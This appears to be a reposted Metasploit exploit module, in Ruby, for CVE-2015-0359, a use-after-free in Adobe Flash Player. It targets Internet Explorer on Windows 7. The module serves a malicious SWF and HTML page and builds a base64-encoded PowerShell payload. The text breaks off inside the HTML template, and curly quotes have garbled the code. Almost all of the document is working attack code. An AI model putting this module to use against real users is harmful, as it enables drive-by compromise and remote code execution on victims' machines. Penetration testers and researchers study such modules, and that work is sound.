Adobe Flash Player domainMemory ByteArray Use After Free Exploit

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => ‘Adobe Flash Player domainMemory ByteArray Use After Free’,
‘Description’ => %q{
This module exploits a use-after-free vulnerability in Adobe Flash Player. The
vulnerability occurs when the ByteArray assigned to the current ApplicationDomain
is freed from an ActionScript worker, when forcing a reallocation by copying more
contents than the original capacity, but Flash forgets to update the domainMemory
pointer, leading to a use-after-free situation when the main worker references the
domainMemory again. This module has been tested successfully on Windows 7 SP1
(32-bit), IE 8 and IE11 with Flash 17.0.0.134.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘bilou’, # Vulnerability discovery according to Flash Advisory
‘Unknown’, # Exploit in the wild
‘hdarwin’, # @hdarwin89 / public exploit (msf module is based on this one)
‘juan vazquez’ # msf module
],
‘References’ =>
[
[‘CVE’, ‘2015-0359’],
[‘URL’, ‘https://helpx.adobe.com/security/products/flash-player/apsb15-06.html’],
[‘URL’, ‘https://www.fireeye.com/blog/threat-research/2015/04/angler_ek_exploiting.html’],
[‘URL’, ‘http://malware.dontneedcoffee.com/2015/04/cve-2015-0359-flash-up-to-1700134-and.html’],
[‘URL’, ‘https://git.hacklab.kr/snippets/13’],
[‘URL’, ‘http://pastebin.com/Wj3NViUu’]
],
‘Payload’ =>
{
‘DisableNops’ => true
},
‘Platform’ => ‘win’,
‘BrowserRequirements’ =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS_7,
:ua_name => Msf::HttpClients::IE,
:flash => lambda { |ver| ver =~ /^17\./ && Gem::Version.new(ver) <= Gem::Version.new('17.0.0.134') }, :arch => ARCH_X86
},
‘Targets’ =>
[
[ ‘Automatic’, {} ]
],
‘Privileged’ => false,
‘DisclosureDate’ => ‘Apr 14 2014’,
‘DefaultTarget’ => 0))
end

def exploit
@swf = create_swf
super
end

def on_request_exploit(cli, request, target_info)
print_status(“Request: #{request.uri}”)

if request.uri =~ /\.swf$/
print_status(‘Sending SWF…’)
send_response(cli, @swf, {‘Content-Type’=>’application/x-shockwave-flash’, ‘Cache-Control’ => ‘no-cache, no-store’, ‘Pragma’ => ‘no-cache’})
return
end

print_status(‘Sending HTML…’)
send_exploit_html(cli, exploit_template(cli, target_info), {‘Pragma’ => ‘no-cache’})
end

def exploit_template(cli, target_info)
swf_random = “#{rand_text_alpha(4 + rand(3))}.swf”
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, ‘x86’, {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)

html_template = %Q|